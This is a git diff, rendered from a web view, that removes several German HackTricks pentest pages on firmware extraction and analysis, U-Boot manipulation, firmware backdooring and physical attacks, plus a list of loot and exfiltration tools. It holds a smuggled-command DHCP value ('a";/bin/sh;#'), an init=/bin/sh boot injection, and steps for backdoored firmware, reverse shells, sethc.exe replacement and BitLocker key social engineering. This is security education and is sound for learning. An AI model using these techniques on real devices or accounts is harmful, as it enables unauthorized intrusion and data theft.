Alternativ kann auch der folgende Befehl ausgeführt werden.
|
||||
|
||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||
|
||||
- Für squashfs (wie im obigen Beispiel verwendet)
|
||||
|
||||
`$ unsquashfs dir.squashfs`
|
||||
|
||||
Die Dateien befinden sich danach im "`squashfs-root`" Verzeichnis.
|
||||
|
||||
- CPIO-Archivdateien
|
||||
|
||||
`$ cpio -ivd --no-absolute-filenames -F <bin>`
|
||||
|
||||
- Für jffs2-Dateisysteme
|
||||
|
||||
`$ jefferson rootfsfile.jffs2`
|
||||
|
||||
- Für ubifs-Dateisysteme mit NAND-Flash
|
||||
|
||||
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
|
||||
|
||||
`$ ubidump.py <bin>`
|
||||
|
||||
## Firmware analysieren
|
||||
|
||||
Sobald die Firmware erhalten ist, ist es wichtig, sie zu zerlegen, um ihre Struktur und potenzielle Schwachstellen zu verstehen. Dieser Prozess umfasst die Nutzung verschiedener Tools zur Analyse und zum Extrahieren wertvoller Daten aus dem Firmware-Image.
|
||||
|
||||
### Werkzeuge zur ersten Analyse
|
||||
|
||||
Eine Reihe von Befehlen wird für die erste Inspektion der Binärdatei (bezeichnet als `<bin>`) bereitgestellt. Diese Befehle helfen dabei, Dateitypen zu identifizieren, Strings zu extrahieren, binäre Daten zu analysieren und die Partitionierungs- und Dateisystemdetails zu verstehen:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
strings -tx <bin> #prints offsets in hexadecimal
|
||||
hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
Um den Verschlüsselungsstatus des Images zu bewerten, wird die **Entropie** mit `binwalk -E <bin>` überprüft. Niedrige Entropie deutet auf einen Mangel an Verschlüsselung hin, während hohe Entropie auf mögliche Verschlüsselung oder Kompression hindeutet.
|
||||
|
||||
Für das Extrahieren von **eingebetteten Dateien** werden Werkzeuge und Ressourcen wie die Dokumentation zu **file-data-carving-recovery-tools** und **binvis.io** zur Dateiansicht empfohlen.
|
||||
|
||||
### Extrahieren des Dateisystems
|
||||
|
||||
Mit `binwalk -ev <bin>` kann man normalerweise das Dateisystem extrahieren, oft in ein Verzeichnis, das nach dem Dateisystemtyp benannt ist (z. B. squashfs, ubifs). Wenn **binwalk** jedoch den Dateisystemtyp aufgrund fehlender Magic Bytes nicht erkennt, ist eine manuelle Extraktion erforderlich. Dies beinhaltet die Verwendung von `binwalk`, um den Offset des Dateisystems zu lokalisieren, gefolgt vom `dd`-Befehl, um das Dateisystem herauszuschneiden:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
Danach werden je nach Dateisystemtyp (z. B. squashfs, cpio, jffs2, ubifs) verschiedene Befehle verwendet, um die Inhalte manuell zu extrahieren.
|
||||
|
||||
### Dateisystemanalyse
|
||||
|
||||
Mit dem extrahierten Dateisystem beginnt die Suche nach Sicherheitsanfälligkeiten. Es wird auf unsichere Netzwerk-Daemons, hardcodierte Anmeldeinformationen, API-Endpunkte, Funktionen von Update-Servern, nicht kompilierte Codes, Startskripte und kompilierte Binärdateien für die Offline-Analyse geachtet.
|
||||
|
||||
**Wichtige Standorte** und **Elemente**, die untersucht werden sollten, sind:
|
||||
|
||||
- **etc/shadow** und **etc/passwd** für Benutzeranmeldeinformationen
|
||||
- SSL-Zertifikate und Schlüssel in **etc/ssl**
|
||||
- Konfigurations- und Skriptdateien auf potenzielle Schwachstellen
|
||||
- Eingebettete Binärdateien für weitere Analysen
|
||||
- Häufige IoT-Geräte-Webserver und Binärdateien
|
||||
|
||||
Mehrere Tools helfen dabei, sensible Informationen und Schwachstellen im Dateisystem aufzudecken:
|
||||
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) und [**Firmwalker**](https://github.com/craigz28/firmwalker) zur Suche nach sensiblen Informationen
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) für umfassende Firmware-Analysen
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) und [**EMBA**](https://github.com/e-m-b-a/emba) für statische und dynamische Analysen
|
||||
|
||||
### Sicherheitsüberprüfungen von kompilierten Binärdateien
|
||||
|
||||
Sowohl Quellcode als auch kompilierte Binärdateien, die im Dateisystem gefunden werden, müssen auf Schwachstellen überprüft werden. Tools wie **checksec.sh** für Unix-Binärdateien und **PESecurity** für Windows-Binärdateien helfen dabei, ungeschützte Binärdateien zu identifizieren, die ausgenutzt werden könnten.
|
||||
|
||||
## Emulation von Firmware für dynamische Analysen
|
||||
|
||||
Der Prozess der Emulation von Firmware ermöglicht die **dynamische Analyse** entweder des Betriebs eines Geräts oder eines einzelnen Programms. Dieser Ansatz kann auf Herausforderungen mit Hardware- oder Architekturabhängigkeiten stoßen, aber das Übertragen des Root-Dateisystems oder spezifischer Binärdateien auf ein Gerät mit passender Architektur und Endianness, wie z. B. einem Raspberry Pi, oder auf eine vorgefertigte virtuelle Maschine, kann weitere Tests erleichtern.
|
||||
|
||||
### Emulation einzelner Binärdateien
|
||||
|
||||
Um einzelne Programme zu untersuchen, ist es entscheidend, die Endianness und die CPU-Architektur des Programms zu identifizieren.
|
||||
|
||||
#### Beispiel mit MIPS-Architektur
|
||||
|
||||
Um eine Binärdatei der MIPS-Architektur zu emulieren, kann man den Befehl verwenden:
|
||||
```bash
|
||||
file ./squashfs-root/bin/busybox
|
||||
```
|
||||
Und um die notwendigen Emulationstools zu installieren:
|
||||
```bash
|
||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||
```
|
||||
Für MIPS (Big-Endian) wird `qemu-mips` verwendet, und für Little-Endian-Binärdateien wäre `qemu-mipsel` die Wahl.
|
||||
|
||||
#### ARM-Architektur-Emulation
|
||||
|
||||
Für ARM-Binärdateien ist der Prozess ähnlich, wobei der Emulator `qemu-arm` für die Emulation genutzt wird.
|
||||
|
||||
### Vollständige Systememulation
|
||||
|
||||
Tools wie [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) und andere erleichtern die vollständige Firmware-Emulation, automatisieren den Prozess und unterstützen die dynamische Analyse.
|
||||
|
||||
## Dynamische Analyse in der Praxis
|
||||
|
||||
In diesem Stadium wird entweder eine reale oder emulierte Geräteumgebung für die Analyse verwendet. Es ist wichtig, den Shell-Zugriff auf das Betriebssystem und das Dateisystem aufrechtzuerhalten. Die Emulation kann die Hardware-Interaktionen möglicherweise nicht perfekt nachahmen, was gelegentliche Neustarts der Emulation erforderlich macht. Die Analyse sollte das Dateisystem erneut überprüfen, exponierte Webseiten und Netzwerkdienste ausnutzen und Bootloader-Schwachstellen erkunden. Firmware-Integritätstests sind entscheidend, um potenzielle Backdoor-Schwachstellen zu identifizieren.
|
||||
|
||||
## Laufzeitanalysetechniken
|
||||
|
||||
Die Laufzeitanalyse umfasst die Interaktion mit einem Prozess oder einer Binärdatei in seiner Betriebsumgebung, wobei Tools wie gdb-multiarch, Frida und Ghidra verwendet werden, um Haltepunkte zu setzen und Schwachstellen durch Fuzzing und andere Techniken zu identifizieren.
|
||||
|
||||
## Binärausnutzung und Proof-of-Concept
|
||||
|
||||
Die Entwicklung eines PoC für identifizierte Schwachstellen erfordert ein tiefes Verständnis der Zielarchitektur und Programmierung in niedrigeren Programmiersprachen. Binäre Laufzeitschutzmaßnahmen in eingebetteten Systemen sind selten, aber wenn sie vorhanden sind, können Techniken wie Return Oriented Programming (ROP) erforderlich sein.
|
||||
|
||||
## Vorbereitete Betriebssysteme für die Firmware-Analyse
|
||||
|
||||
Betriebssysteme wie [AttifyOS](https://github.com/adi0x90/attifyos) und [EmbedOS](https://github.com/scriptingxss/EmbedOS) bieten vorkonfigurierte Umgebungen für die Sicherheitstests von Firmware, ausgestattet mit den notwendigen Tools.
|
||||
|
||||
## Vorbereitete OSs zur Analyse von Firmware
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ist eine Distribution, die Ihnen hilft, Sicherheitsbewertungen und Penetrationstests von Internet of Things (IoT)-Geräten durchzuführen. Es spart Ihnen viel Zeit, indem es eine vorkonfigurierte Umgebung mit allen notwendigen Tools bereitstellt.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Eingebettetes Sicherheitstestbetriebssystem basierend auf Ubuntu 18.04, vorinstalliert mit Tools für die Sicherheitstests von Firmware.
|
||||
|
||||
## Verwundbare Firmware zum Üben
|
||||
|
||||
Um das Entdecken von Schwachstellen in Firmware zu üben, verwenden Sie die folgenden verwundbaren Firmware-Projekte als Ausgangspunkt.
|
||||
|
||||
- OWASP IoTGoat
|
||||
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
- Das Damn Vulnerable Router Firmware Project
|
||||
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
|
||||
- Damn Vulnerable ARM Router (DVAR)
|
||||
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
|
||||
- ARM-X
|
||||
- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
|
||||
- Azeria Labs VM 2.0
|
||||
- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
|
||||
- Damn Vulnerable IoT Device (DVID)
|
||||
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
|
||||
## Training und Zertifizierung
|
||||
|
||||
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,52 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Die folgenden Schritte werden empfohlen, um die Startkonfigurationen von Geräten und Bootloadern wie U-boot zu ändern:
|
||||
|
||||
1. **Zugriff auf die Interpreter-Shell des Bootloaders**:
|
||||
|
||||
- Drücken Sie während des Bootvorgangs "0", die Leertaste oder andere identifizierte "magische Codes", um auf die Interpreter-Shell des Bootloaders zuzugreifen.
|
||||
|
||||
2. **Boot-Argumente ändern**:
|
||||
|
||||
- Führen Sie die folgenden Befehle aus, um '`init=/bin/sh`' zu den Boot-Argumenten hinzuzufügen, was die Ausführung eines Shell-Befehls ermöglicht:
|
||||
%%%
|
||||
#printenv
|
||||
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
|
||||
#saveenv
|
||||
#boot
|
||||
%%%
|
||||
|
||||
3. **TFTP-Server einrichten**:
|
||||
|
||||
- Konfigurieren Sie einen TFTP-Server, um Images über ein lokales Netzwerk zu laden:
|
||||
%%%
|
||||
#setenv ipaddr 192.168.2.2 #lokale IP des Geräts
|
||||
#setenv serverip 192.168.2.1 #IP des TFTP-Servers
|
||||
#saveenv
|
||||
#reset
|
||||
#ping 192.168.2.1 #Netzwerkzugang überprüfen
|
||||
#tftp ${loadaddr} uImage-3.6.35 #loadaddr nimmt die Adresse, in die die Datei geladen werden soll, und den Dateinamen des Images auf dem TFTP-Server
|
||||
%%%
|
||||
|
||||
4. **`ubootwrite.py` verwenden**:
|
||||
|
||||
- Verwenden Sie `ubootwrite.py`, um das U-boot-Image zu schreiben und eine modifizierte Firmware zu pushen, um Root-Zugriff zu erhalten.
|
||||
|
||||
5. **Debug-Funktionen überprüfen**:
|
||||
|
||||
- Überprüfen Sie, ob Debug-Funktionen wie ausführliches Logging, Laden beliebiger Kernel oder Booten von nicht vertrauenswürdigen Quellen aktiviert sind.
|
||||
|
||||
6. **Vorsicht bei Hardware-Interferenzen**:
|
||||
|
||||
- Seien Sie vorsichtig, wenn Sie einen Pin mit Masse verbinden und mit SPI- oder NAND-Flash-Chips während des Bootvorgangs des Geräts interagieren, insbesondere bevor der Kernel dekomprimiert. Konsultieren Sie das Datenblatt des NAND-Flash-Chips, bevor Sie Pins kurzschließen.
|
||||
|
||||
7. **Rogue DHCP-Server konfigurieren**:
|
||||
- Richten Sie einen Rogue-DHCP-Server mit bösartigen Parametern ein, die ein Gerät während eines PXE-Boots aufnehmen soll. Verwenden Sie Tools wie den DHCP-Hilfsserver von Metasploit (MSF). Ändern Sie den 'FILENAME'-Parameter mit Befehlsinjektionsbefehlen wie `'a";/bin/sh;#'`, um die Eingabevalidierung für die Startverfahren des Geräts zu testen.
|
||||
|
||||
**Hinweis**: Die Schritte, die physische Interaktionen mit den Pins des Geräts (\*mit Sternchen markiert) beinhalten, sollten mit äußerster Vorsicht angegangen werden, um Schäden am Gerät zu vermeiden.
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,35 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Firmware-Integrität
|
||||
|
||||
Die **benutzerdefinierte Firmware und/oder kompilierten Binärdateien können hochgeladen werden, um Integritäts- oder Signaturüberprüfungsfehler auszunutzen**. Die folgenden Schritte können für die Kompilierung eines Backdoor-Bind-Shells befolgt werden:
|
||||
|
||||
1. Die Firmware kann mit firmware-mod-kit (FMK) extrahiert werden.
|
||||
2. Die Ziel-Firmware-Architektur und Endianness sollten identifiziert werden.
|
||||
3. Ein Cross-Compiler kann mit Buildroot oder anderen geeigneten Methoden für die Umgebung erstellt werden.
|
||||
4. Die Backdoor kann mit dem Cross-Compiler erstellt werden.
|
||||
5. Die Backdoor kann in das extrahierte Firmware-Verzeichnis /usr/bin kopiert werden.
|
||||
6. Die geeignete QEMU-Binärdatei kann in das extrahierte Firmware-Rootfs kopiert werden.
|
||||
7. Die Backdoor kann mit chroot und QEMU emuliert werden.
|
||||
8. Die Backdoor kann über netcat erreicht werden.
|
||||
9. Die QEMU-Binärdatei sollte aus dem extrahierten Firmware-Rootfs entfernt werden.
|
||||
10. Die modifizierte Firmware kann mit FMK neu verpackt werden.
|
||||
11. Die mit einer Backdoor versehene Firmware kann getestet werden, indem sie mit dem Firmware-Analyse-Toolkit (FAT) emuliert und eine Verbindung zur Ziel-Backdoor-IP und dem Port über netcat hergestellt wird.
|
||||
|
||||
Wenn bereits über dynamische Analyse, Bootloader-Manipulation oder Hardware-Sicherheitstests eine Root-Shell erlangt wurde, können vorkompilierte bösartige Binärdateien wie Implantate oder Reverse-Shells ausgeführt werden. Automatisierte Payload/Implantat-Tools wie das Metasploit-Framework und 'msfvenom' können mit den folgenden Schritten genutzt werden:
|
||||
|
||||
1. Die Ziel-Firmware-Architektur und Endianness sollten identifiziert werden.
|
||||
2. Msfvenom kann verwendet werden, um die Ziel-Payload, die IP des Angreifers, die hörende Portnummer, den Dateityp, die Architektur, die Plattform und die Ausgabedatei anzugeben.
|
||||
3. Die Payload kann auf das kompromittierte Gerät übertragen werden, und es sollte sichergestellt werden, dass sie Ausführungsberechtigungen hat.
|
||||
4. Metasploit kann vorbereitet werden, um eingehende Anfragen zu bearbeiten, indem msfconsole gestartet und die Einstellungen gemäß der Payload konfiguriert werden.
|
||||
5. Die Meterpreter-Reverse-Shell kann auf dem kompromittierten Gerät ausgeführt werden.
|
||||
6. Meterpreter-Sitzungen können überwacht werden, während sie geöffnet werden.
|
||||
7. Post-Exploitation-Aktivitäten können durchgeführt werden.
|
||||
|
||||
Wenn möglich, können Schwachstellen in Startskripten ausgenutzt werden, um persistenten Zugriff auf ein Gerät über Neustarts hinweg zu erhalten. Diese Schwachstellen entstehen, wenn Startskripte auf Code verweisen, [symbolisch verlinken](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data) oder von Code abhängen, der sich an untrusted gemounteten Orten wie SD-Karten und Flash-Volumes befindet, die zum Speichern von Daten außerhalb von Root-Dateisystemen verwendet werden.
|
||||
|
||||
## Referenzen
|
||||
|
||||
- Für weitere Informationen siehe [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,57 +0,0 @@
|
||||
# Physische Angriffe
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## BIOS-Passwort-Wiederherstellung und Systemsicherheit
|
||||
|
||||
**Zurücksetzen des BIOS** kann auf verschiedene Weise erreicht werden. Die meisten Motherboards enthalten eine **Batterie**, die, wenn sie etwa **30 Minuten** entfernt wird, die BIOS-Einstellungen, einschließlich des Passworts, zurücksetzt. Alternativ kann ein **Jumper auf dem Motherboard** angepasst werden, um diese Einstellungen zurückzusetzen, indem bestimmte Pins verbunden werden.
|
||||
|
||||
Für Situationen, in denen Hardwareanpassungen nicht möglich oder praktisch sind, bieten **Softwaretools** eine Lösung. Das Ausführen eines Systems von einer **Live-CD/USB** mit Distributionen wie **Kali Linux** ermöglicht den Zugriff auf Tools wie **_killCmos_** und **_CmosPWD_**, die bei der BIOS-Passwort-Wiederherstellung helfen können.
|
||||
|
||||
In Fällen, in denen das BIOS-Passwort unbekannt ist, führt das dreimalige falsche Eingeben normalerweise zu einem Fehlercode. Dieser Code kann auf Websites wie [https://bios-pw.org](https://bios-pw.org) verwendet werden, um möglicherweise ein verwendbares Passwort abzurufen.
|
||||
|
||||
### UEFI-Sicherheit
|
||||
|
||||
Für moderne Systeme, die **UEFI** anstelle des traditionellen BIOS verwenden, kann das Tool **chipsec** verwendet werden, um UEFI-Einstellungen zu analysieren und zu ändern, einschließlich der Deaktivierung von **Secure Boot**. Dies kann mit dem folgenden Befehl erreicht werden:
|
||||
|
||||
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||
|
||||
### RAM-Analyse und Cold Boot-Angriffe
|
||||
|
||||
RAM speichert Daten kurzzeitig nach einem Stromausfall, normalerweise für **1 bis 2 Minuten**. Diese Persistenz kann auf **10 Minuten** verlängert werden, indem kalte Substanzen wie flüssiger Stickstoff angewendet werden. Während dieses verlängerten Zeitraums kann ein **Speicherabbild** mit Tools wie **dd.exe** und **volatility** zur Analyse erstellt werden.
|
||||
|
||||
### Direct Memory Access (DMA) Angriffe
|
||||
|
||||
**INCEPTION** ist ein Tool, das für **physische Speicher-Manipulation** über DMA entwickelt wurde und mit Schnittstellen wie **FireWire** und **Thunderbolt** kompatibel ist. Es ermöglicht das Umgehen von Anmeldeverfahren, indem der Speicher so patcht wird, dass jedes Passwort akzeptiert wird. Es ist jedoch gegen **Windows 10**-Systeme ineffektiv.
|
||||
|
||||
### Live CD/USB für Systemzugriff
|
||||
|
||||
Das Ändern von System-Binärdateien wie **_sethc.exe_** oder **_Utilman.exe_** mit einer Kopie von **_cmd.exe_** kann eine Eingabeaufforderung mit Systemprivilegien bereitstellen. Tools wie **chntpw** können verwendet werden, um die **SAM**-Datei einer Windows-Installation zu bearbeiten, was Passwortänderungen ermöglicht.
|
||||
|
||||
**Kon-Boot** ist ein Tool, das das Anmelden bei Windows-Systemen ohne Kenntnis des Passworts erleichtert, indem es den Windows-Kernel oder UEFI vorübergehend ändert. Weitere Informationen sind unter [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) zu finden.
|
||||
|
||||
### Umgang mit Windows-Sicherheitsfunktionen
|
||||
|
||||
#### Boot- und Wiederherstellungstasten
|
||||
|
||||
- **Supr**: Zugriff auf BIOS-Einstellungen.
|
||||
- **F8**: Eingabe in den Wiederherstellungsmodus.
|
||||
- Drücken von **Shift** nach dem Windows-Banner kann die automatische Anmeldung umgehen.
|
||||
|
||||
#### BAD USB-Geräte
|
||||
|
||||
Geräte wie **Rubber Ducky** und **Teensyduino** dienen als Plattformen zur Erstellung von **bad USB**-Geräten, die in der Lage sind, vordefinierte Payloads auszuführen, wenn sie mit einem Zielcomputer verbunden werden.
|
||||
|
||||
#### Volume Shadow Copy
|
||||
|
||||
Administratorrechte ermöglichen die Erstellung von Kopien sensibler Dateien, einschließlich der **SAM**-Datei, über PowerShell.
|
||||
|
||||
### Umgehen der BitLocker-Verschlüsselung
|
||||
|
||||
Die BitLocker-Verschlüsselung kann möglicherweise umgangen werden, wenn das **Wiederherstellungspasswort** in einer Speicherabbilddatei (**MEMORY.DMP**) gefunden wird. Tools wie **Elcomsoft Forensic Disk Decryptor** oder **Passware Kit Forensic** können hierfür verwendet werden.
|
||||
|
||||
### Social Engineering zur Hinzufügung eines Wiederherstellungsschlüssels
|
||||
|
||||
Ein neuer BitLocker-Wiederherstellungsschlüssel kann durch Social-Engineering-Taktiken hinzugefügt werden, indem ein Benutzer überzeugt wird, einen Befehl auszuführen, der einen neuen Wiederherstellungsschlüssel aus Nullen hinzufügt, wodurch der Entschlüsselungsprozess vereinfacht wird.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,16 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
## **Lokale Beute**
|
||||
|
||||
- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Diese Skripte suchen neben PE-Vektoren auch nach sensiblen Informationen im Dateisystem.
|
||||
- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): Das **LaZagne-Projekt** ist eine Open-Source-Anwendung, die verwendet wird, um **viele Passwörter** von einem lokalen Computer abzurufen. Jede Software speichert ihre Passwörter mit unterschiedlichen Techniken (Klartext, APIs, benutzerdefinierte Algorithmen, Datenbanken usw.). Dieses Tool wurde entwickelt, um diese Passwörter für die am häufigsten verwendete Software zu finden.
|
||||
|
||||
## **Externe Dienste**
|
||||
|
||||
- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Dieses Modul verbindet sich mit der API von Confluence über ein Zugriffstoken, exportiert nach PDF und lädt die Confluence-Dokumente herunter, auf die das Ziel Zugriff hat.
|
||||
- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Red Team-Tool zum Exfiltrieren von Dateien aus dem Google Drive eines Ziels, auf das Sie (der Angreifer) Zugriff haben, über die Google Drive API. Dies umfasst alle freigegebenen Dateien, alle Dateien von freigegebenen Laufwerken und alle Dateien von Domänenlaufwerken, auf die das Ziel Zugriff hat.
|
||||
- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Red Team-Tool zum Exfiltrieren des Google People Directory der Zielorganisation, auf das Sie Zugriff haben, über die Google People API.
|
||||
- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Dies ist ein in Python entwickeltes Tool, das die nativen Slack-APIs verwendet, um 'interessante' Informationen aus einem Slack-Arbeitsbereich abzurufen, wenn ein Zugriffstoken vorliegt.
|
||||
- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound ist ein Befehlszeilentool für rote und blaue Teams, um schnell Aufklärung über einen Slack-Arbeitsbereich/eine Organisation durchzuführen. Slackhound macht die Sammlung von Benutzern, Dateien, Nachrichten usw. einer Organisation schnell durchsuchbar, und große Objekte werden zur Offline-Überprüfung in CSV geschrieben.
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user